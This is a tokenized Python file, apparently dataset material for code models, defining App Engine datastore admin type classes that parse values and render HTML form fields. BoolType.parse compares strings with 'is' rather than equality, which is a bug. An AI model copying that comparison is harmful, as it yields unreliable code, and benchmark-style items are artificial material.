"\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "String", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "format_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "String", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field_", "(_", "self_", ",_", "name_", ",_", "value_", ",_", "sample", "\\u", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "str_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sample", "\\u", "values_", "=_", "[_", "str_", "(_", "s_", ")_", "for_", "s_", "in_", "sample", "\\u", "values_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "multiline", "_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "multiline", "_", "=_", "len_", "(_", "value_", ")_", ">_", "255_", "or_", "value_", "._", "find_", "(_", "'\\\\", "n", "'_", ")_", ">=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "multiline", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "sample", "\\u", "value_", "in_", "sample", "\\u", "values_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "sample", "\\u", "value_", "and_", "(_", "len_", "(_", "sample", "\\u", "value_", ")_", ">_", "255_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "sample", "\\u", "value_", "._", "find_", "(_", "'\\\\", "n", "'_", ")_", ">=_", "0_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "multiline", "_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "multiline", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "'<", "text", "area", " ", "name", "=\"", "%", "s", "\"", " ", "rows", "=\"", "5", "\"", " ", "cols", "=\"", "50", "\">", "%", "s", "</", "text", "area", ">'_", "%_", "(_", "cgi_", "._", "escape_", "(_", "name_", ")_", ",_", "cgi_", "._", "escape_", "(_", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "Data", "Type_", "._", "input", "\\u", "field_", "(_", "self_", ",_", "name_", ",_", "value_", ",_", "sample", "\\u", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "String", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "string", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "String", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "String", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "String", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "50_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Text", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Text", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Text", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Text", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field_", "(_", "self_", ",_", "name_", ",_", "value_", ",_", "sample", "\\u", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'<", "text", "area", " ", "name", "=\"", "%", "s", "\"", " ", "rows", "=\"", "5", "\"", " ", "cols", "=\"", "50", "\">", "%", "s", "</", "text", "area", ">'_", "%_", "(_", "cgi_", "._", "escape_", "(_", "name_", ")_", ",_", "cgi_", "._", "escape_", "(_", "str_", "(_", "value_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Text", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Text_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Text", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Blo", "b", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Blo", "b", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Blo", "b", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Blo", "b", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field_", "(_", "self_", ",_", "name_", ",_", "value_", ",_", "sample", "\\u", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'&", "lt", ";", "binar", "y", "&", "gt", ";'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Blo", "b", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "format_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'<", "binar", "y", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Blo", "b", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Blob_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Time", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "FORMAT_", "=_", "'%", "Y", "-%", "m", "-%", "d", " ", "%", "H", ":", "%", "M", ":", "%", "S", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Time", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "format_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "value_", "._", "strftime_", "(_", "Time", "Type_", "._", "\\u", "FORMAT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Time", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "datetime", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Time", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datetime_", "._", "datetime_", "(_", "*_", "(_", "time_", "._", "strptime_", "(_", "value_", ",_", "Time", "Type_", "._", "\\u", "FORMAT_", ")_", "[_", "0_", ":_", "6_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Time", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datetime_", "._", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "List", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "List", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "format_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value", "\\u", "file_", "=_", "c", "String", "IO_", "._", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "writer_", "=_", "csv_", "._", "writer_", "(_", "value", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "writer_", "._", "writerow_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "value", "\\u", "file_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "List", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "list", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "List", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value", "\\u", "file_", "=_", "c", "String", "IO_", "._", "String", "IO_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "reader_", "=_", "csv_", "._", "reader_", "(_", "value", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "reader_", "._", "next_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "List", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Boo", "l", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Boo", "l", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "bool", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Boo", "l", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field_", "(_", "self_", ",_", "name_", ",_", "value_", ",_", "sample", "\\u", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "selected_", "=_", "{_", "None_", ":_", "''_", ",_", "False_", ":_", "''_", ",_", "True_", ":_", "''_", "}_", ";_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "selected_", "[_", "value_", "]_", "=_", "\"", "selecte", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\"\"\"", "<", "select", " ", "class", "=\"", "%", "s", "\"", " ", "name", "=\"", "%", "s", "\">", "\\", "10", ";", " ", " ", " ", " ", "<", "option", " ", "%", "s", " ", "value", "=''", "><", "/", "option", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "option", " ", "%", "s", " ", "value", "='", "0", "'>", "Fal", "se", "</", "option", ">", "\\", "10", ";", " ", " ", " ", " ", "<", "option", " ", "%", "s", " ", "value", "='", "1", "'>", "Tru", "e", "</", "option", "><", "/", "select", ">\"\"\"_", "%_", "(_", "cgi_", "._", "escape_", "(_", "self_", "._", "name_", "(_", ")_", ")_", ",_", "cgi_", "._", "escape_", "(_", "name_", ")_", ",_", "selected_", "[_", "None_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "selected_", "[_", "False_", "]_", ",_", "selected_", "[_", "True_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Boo", "l", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "._", "lower_", "(_", ")_", "is_", "'", "true", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "value_", "._", "lower_", "(_", ")_", "is_", "'", "fal", "se", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "bool_", "(_", "int_", "(_", "value_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Boo", "l", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "bool_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Number", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Number", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "input", "\\u", "field", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Int", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Int", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "int", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Int", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "int_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Int", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "int_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Long", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Long", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "long", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Long", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "long_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Long", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "long_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Float", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Float", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "float", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Float", "Type_", "(_", "Number", "Type_", ")_", ":_", 